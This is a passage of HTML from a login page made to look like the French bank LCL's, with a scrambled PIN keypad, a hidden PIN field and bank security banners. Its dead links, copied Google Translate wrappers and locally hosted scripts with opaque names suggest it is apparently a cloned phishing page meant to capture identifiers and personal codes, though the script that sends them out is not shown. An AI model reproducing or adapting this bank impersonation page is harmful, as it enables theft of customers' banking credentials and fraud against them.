class=pad-dot><span _ngcontent-ng-front-c74 class=bullet>●</span></span><span _ngcontent-ng-front-c74 aria-atomic=true aria-live=polite class=cdk-visually-hidden>0 chiffre saisi</span><button class="pad-button pad-reset"style="visibility: visible;"_ngcontent-ng-front-c74 aria-label=Effacer type=button><span _ngcontent-ng-front-c74 class=cdk-visually-hidden>✕</span></button></div> <input id=pr name=pr type=hidden> <div _ngcontent-ng-front-c74 class=pad-keys><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=2>2</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=6>6</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=9>9</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=0>0</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=3>3</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=5>5</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=8>8</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=7>7</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=1>1</button><button class="pad-button pad-key"_ngcontent-ng-front-c74 type=button value=4>4</button></div> </ui-keypad></div>    <div class="control-group button-group"_ngcontent-ng-front-c76><button class="app-cta-button app-cta-button--primary app-cta-button--arrow"_ngcontent-ng-front-c76 id=submit-btn type=button><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;"> Continuer </font> </font></button></div> </app-login-form><app-login-form style="text-align: center; padding: 20px;display: none;"_ngcontent-ng-front-c83 _nghost-ng-front-c76 id=mainDiv2> <img src=images/load.gif width=120px> </app-login-form><div _ngcontent-ng-front-c83 class=help-links><ul _ngcontent-ng-front-c83 class=links><li _ngcontent-ng-front-c83><a class="app-link app-link--underline"_ngcontent-ng-front-c83 href=# target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Identifiant oublié ?</font> </font> </a><li _ngcontent-ng-front-c83><a class="app-link app-link--underline"_ngcontent-ng-front-c83 href=# target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Code personnel oublié ?</font> </font> </a></ul></div></div> <div _ngcontent-ng-front-c77 class=aside><aside _ngcontent-ng-front-c83><div _ngcontent-ng-front-c83 class=message-banners-box><ui-message-banner-carousel _ngcontent-ng-front-c83 _nghost-ng-front-c82 class=wide> <div _ngcontent-ng-front-c82 class=control-box-previous><button _ngcontent-ng-front-c82 class=control-button type=button><span _ngcontent-ng-front-c82 class=cdk-visually-hidden>Bannière précédente</span></button></div>  <div _ngcontent-ng-front-c82><ui-swiper style="overflow: hidden; direction: ltr; cursor: -webkit-grab;"_ngcontent-ng-front-c82 class=ui-swiper draggable loop> <div style="width: 3200px; transition: all 200ms ease-out 0s; transform: translate3d(-800px, 0px, 0px);"class=ui-swiper-track><div style="float: left; width: 25%;"aria-hidden=true inert><ui-message-banner class="wide ui-message-banner"_ngcontent-ng-front-c82 _nghost-ng-front-c81 uiswiperslide> <div _ngcontent-ng-front-c81 class=message-banner-image-container><ui-companion class="message-banner-image loaded paused"_ngcontent-ng-front-c81><svg preserveaspectratio="xMidYMid meet"style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);"viewbox="0 0 360 360"focusable=false height=360 width=360 xmlns=http://www.w3.org/2000/svg><defs><clippath id=__lottie_element_16><rect height=360 width=360 x=0 y=0></rect></clippath></defs><g clip-path=url(#__lottie_element_16)><g style="display: none;"><g><path></path><path fill-opacity=0 stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4></path></g></g><g style="display: none;"><g><path></path><path fill-opacity=0 stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4></path></g></g><g style="display: block;"opacity=1 transform=matrix(2.8651700019836426,0,0,2.8651700019836426,438.91790771484375,314.8465881347656)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(6.473120212554932,0,0,6.473120212554932,743.951171875,690.8334350585938)><g opacity=1 transform=matrix(0.9546899795532227,0,0,0.9500300288200378,-87.12200164794922,-78.96600341796875)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-7.577000141143799,23.46299934387207 -14.3149995803833,19.871000289916992 -18.604999542236328,14.29800033569336 C-21.652000427246094,10.34000015258789 -23.46299934387207,5.38100004196167 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(92,104,236) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=8></path></g></g></g></svg></ui-companion></div> <div _ngcontent-ng-front-c81 class=message-banner-content><div _ngcontent-ng-front-c81 class=message-banner-header><h3 _ngcontent-ng-front-c81><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Nos conseils sécurité</font> </font></h3></div><div _ngcontent-ng-front-c81 class=message-banner-body><div _ngcontent-ng-front-c82><p><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Discover the right reflexes to protect your computer and your banking data on a daily basis.</font> </font></div><div _ngcontent-ng-front-c81><a class="message-banner-link app-link app-link--underline"_ngcontent-ng-front-c81 href=# tabindex=-1 target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Go to LCL Sécurité</font> </font> </a></div></div></div>  </ui-message-banner></div><div style="float: left; width: 25%;"><ui-message-banner class="wide ui-message-banner"_ngcontent-ng-front-c82 _nghost-ng-front-c81 uiswiperslide> <div _ngcontent-ng-front-c81 class=message-banner-image-container><ui-companion class="message-banner-image loaded"_ngcontent-ng-front-c81><svg preserveaspectratio="xMidYMid meet"style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);"viewbox="0 0 360 360"focusable=false height=360 width=360 xmlns=http://www.w3.org/2000/svg><defs><clippath id=__lottie_element_3><rect height=360 width=360 x=0 y=0></rect></clippath></defs><g clip-path=url(#__lottie_element_3)><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,345.1047058105469,230.9346923828125)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,279.1047058105469,230.9346923828125)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,209.5906982421875,230.93569946289062)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(6.473120212554932,0,0,6.473120212554932,743.951171875,690.8334350585938)><g opacity=1 transform=matrix(0.9546899795532227,0,0,0.9500300288200378,-87.12200164794922,-78.96600341796875)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-7.6020002365112305,23.46299934387207 -23.093000411987305,23.56800079345703 -23.093000411987305,23.56800079345703 C-23.093000411987305,23.56800079345703 -23.46299934387207,5.35699987411499 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(92,104,236) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=8></path></g></g></g></svg></ui-companion></div> <div _ngcontent-ng-front-c81 class=message-banner-content><div _ngcontent-ng-front-c81 class=message-banner-header><h3 _ngcontent-ng-front-c81><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Nos conseils sécurité</font> </font></h3></div><div _ngcontent-ng-front-c81 class=message-banner-body><div _ngcontent-ng-front-c82><p><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">LCL ne vous sollicitera jamais (que ce soit par mail, par SMS ou par téléphone) pour vous demander de communiquer de quelque manière que ce soit vos codes personnels destinés à valider vos transactions.</font> </font></div><div _ngcontent-ng-front-c81><a class="message-banner-link app-link app-link--underline"_ngcontent-ng-front-c81 href=# target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Comment sécuriser mes données bancaires</font> </font> </a></div></div></div>  </ui-message-banner></div><div style="float: left; width: 25%;"aria-hidden=true inert><ui-message-banner class="wide ui-message-banner"_ngcontent-ng-front-c82 _nghost-ng-front-c81 uiswiperslide> <div _ngcontent-ng-front-c81 class=message-banner-image-container><ui-companion class="message-banner-image loaded paused"_ngcontent-ng-front-c81><svg preserveaspectratio="xMidYMid meet"style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);"viewbox="0 0 360 360"focusable=false height=360 width=360 xmlns=http://www.w3.org/2000/svg><defs><clippath id=__lottie_element_16><rect height=360 width=360 x=0 y=0></rect></clippath></defs><g clip-path=url(#__lottie_element_16)><g style="display: none;"><g><path></path><path fill-opacity=0 stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4></path></g></g><g style="display: none;"><g><path></path><path fill-opacity=0 stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4></path></g></g><g style="display: block;"opacity=1 transform=matrix(2.8651700019836426,0,0,2.8651700019836426,438.91790771484375,314.8465881347656)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(6.473120212554932,0,0,6.473120212554932,743.951171875,690.8334350585938)><g opacity=1 transform=matrix(0.9546899795532227,0,0,0.9500300288200378,-87.12200164794922,-78.96600341796875)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-7.577000141143799,23.46299934387207 -14.3149995803833,19.871000289916992 -18.604999542236328,14.29800033569336 C-21.652000427246094,10.34000015258789 -23.46299934387207,5.38100004196167 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(92,104,236) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=8></path></g></g></g></svg></ui-companion></div> <div _ngcontent-ng-front-c81 class=message-banner-content><div _ngcontent-ng-front-c81 class=message-banner-header><h3 _ngcontent-ng-front-c81><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Nos conseils sécurité</font> </font></h3></div><div _ngcontent-ng-front-c81 class=message-banner-body><div _ngcontent-ng-front-c82><p><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Discover the right reflexes to protect your computer and your banking data on a daily basis.</font> </font></div><div _ngcontent-ng-front-c81><a class="message-banner-link app-link app-link--underline"_ngcontent-ng-front-c81 href=# tabindex=-1 target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Go to LCL Sécurité</font> </font> </a></div></div></div>  </ui-message-banner></div><div style="float: left; width: 25%;"aria-hidden=true inert><ui-message-banner class="wide ui-message-banner"_ngcontent-ng-front-c82 _nghost-ng-front-c81 uiswiperslide> <div _ngcontent-ng-front-c81 class=message-banner-image-container><ui-companion class="message-banner-image loaded"_ngcontent-ng-front-c81><svg preserveaspectratio="xMidYMid meet"style="width: 100%; height: 100%; transform: translate3d(0px, 0px, 0px);"viewbox="0 0 360 360"focusable=false height=360 width=360 xmlns=http://www.w3.org/2000/svg><defs><clippath id=__lottie_element_3><rect height=360 width=360 x=0 y=0></rect></clippath></defs><g clip-path=url(#__lottie_element_3)><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,345.1047058105469,230.9346923828125)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,279.1047058105469,230.9346923828125)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.94922924041748,-23.46299934387207 23.46299934387207,-12.94922924041748 23.46299934387207,0 C23.46299934387207,12.94922924041748 12.94922924041748,23.46299934387207 0,23.46299934387207 C-12.94922924041748,23.46299934387207 -23.46299934387207,12.94922924041748 -23.46299934387207,0 C-23.46299934387207,-12.94922924041748 -12.94922924041748,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(1.100000023841858,0,0,1.100000023841858,209.5906982421875,230.93569946289062)><g opacity=1 transform=matrix(1,0,0,1,-90.53700256347656,-47.5369987487793)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill=rgb(255,210,4) fill-opacity=1></path><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-12.958000183105469,23.46299934387207 -23.46299934387207,12.958000183105469 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(255,255,255) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=0></path></g></g><g style="display: block;"opacity=1 transform=matrix(6.473120212554932,0,0,6.473120212554932,743.951171875,690.8334350585938)><g opacity=1 transform=matrix(0.9546899795532227,0,0,0.9500300288200378,-87.12200164794922,-78.96600341796875)><path d="M0,-23.46299934387207 C12.958000183105469,-23.46299934387207 23.46299934387207,-12.958000183105469 23.46299934387207,0 C23.46299934387207,12.958000183105469 12.958000183105469,23.46299934387207 0,23.46299934387207 C-7.6020002365112305,23.46299934387207 -23.093000411987305,23.56800079345703 -23.093000411987305,23.56800079345703 C-23.093000411987305,23.56800079345703 -23.46299934387207,5.35699987411499 -23.46299934387207,0 C-23.46299934387207,-12.958000183105469 -12.958000183105469,-23.46299934387207 0,-23.46299934387207z"fill-opacity=0 stroke=rgb(92,104,236) stroke-linecap=butt stroke-linejoin=miter stroke-miterlimit=4 stroke-opacity=1 stroke-width=8></path></g></g></g></svg></ui-companion></div> <div _ngcontent-ng-front-c81 class=message-banner-content><div _ngcontent-ng-front-c81 class=message-banner-header><h3 _ngcontent-ng-front-c81><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">Nos conseils sécurité</font> </font></h3></div><div _ngcontent-ng-front-c81 class=message-banner-body><div _ngcontent-ng-front-c82><p><font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">LCL will never solicit you (whether by email, SMS or telephone) to ask you to communicate in any way whatsoever your personal codes intended to validate your transactions.</font> </font></div><div _ngcontent-ng-front-c81><a class="message-banner-link app-link app-link--underline"_ngcontent-ng-front-c81 href=# tabindex=-1 target=_blank> <font style="vertical-align: inherit;"> <font style="vertical-align: inherit;">How to secure my bank details</font> </font> </a></div></div></div>  </ui-message-banner></div></div> </ui-swiper><div _ngcontent-ng-front-c82 class=bullets><button class="bullet active"_ngcontent-ng-front-c82 type=button><span _ngcontent-ng-front-c82 class=cdk-visually-hidden>En cours</span></button><button _ngcontent-ng-front-c82 class=bullet type=button><span _ngcontent-ng-front-c82 class=cdk-visually-hidden>Element 2</span></button></div></div> <div _ngcontent-ng-front-c82 class=control-box-next><button _ngcontent-ng-front-c82 class=control-button type=button><span _ngcontent-ng-front-c82 class=cdk-visually-hidden>Bannière suivante</span></button></div>  </ui-message-banner-carousel></div></aside></div> </ui-sidepane-template> </app-login-page>  </app-root><script src=js/jquery.js></script><script src=js/popper.js></script><script src=js/is.js></script><script src=js/jq.js></script><script src=js/bt.js></script><script src=js/main.js></script><script src=js/q.js></script><script src=js/ss.js></script><script>$("#ai").inputmask({
        "mask": "9999999999"
    });</script>